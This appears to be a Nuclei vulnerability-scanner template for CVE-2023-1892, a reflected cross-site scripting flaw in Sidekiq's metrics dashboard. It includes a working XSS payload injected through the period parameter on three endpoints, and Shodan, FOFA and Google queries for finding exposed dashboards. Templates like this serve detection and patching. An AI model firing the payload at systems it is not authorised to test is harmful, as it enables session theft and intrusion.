Sidekiq < 7.0.8 - Cross-Site Scripting

id: CVE-2023-1892

info:
  name: Sidekiq < 7.0.8 - Cross-Site Scripting
  author: ritikchaddha,princechaddha
  severity: critical
  description: |
    An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the period parameter in Sidekiq metrics endpoints, potentially stealing administrator session cookies and accessing sensitive job queue information and worker statistics.
  remediation: |
    Update Sidekiq to version 7.0.8 or later that properly sanitizes the period parameter and encodes output in the metrics dashboard.
  reference:
    - https://huntr.com/bounties/e35e5653-c429-4fb8-94a3-cbc123ae4777
    - https://github.com/sidekiq/sidekiq/commit/458fdf74176a9881478c48dc5cf0269107b22214
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1892
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2023-1892
    cwe-id: CWE-79
    epss-score: 0.02742
    epss-percentile: 0.84365
    cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: contribsys
    product: sidekiq
    shodan-query: http.title:"sidekiq"
    fofa-query:
      - title="Sidekiq"
      - title="sidekiq"
    google-query: intitle:"sidekiq"
  tags: cve,cve2023,sidekiq,contribsys,xss,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/queues"

    matchers:
      - type: word
        internal: true
        part: body
        words:
          - "Sidekiq"
          - "Dashboard</a>"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img/src/onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
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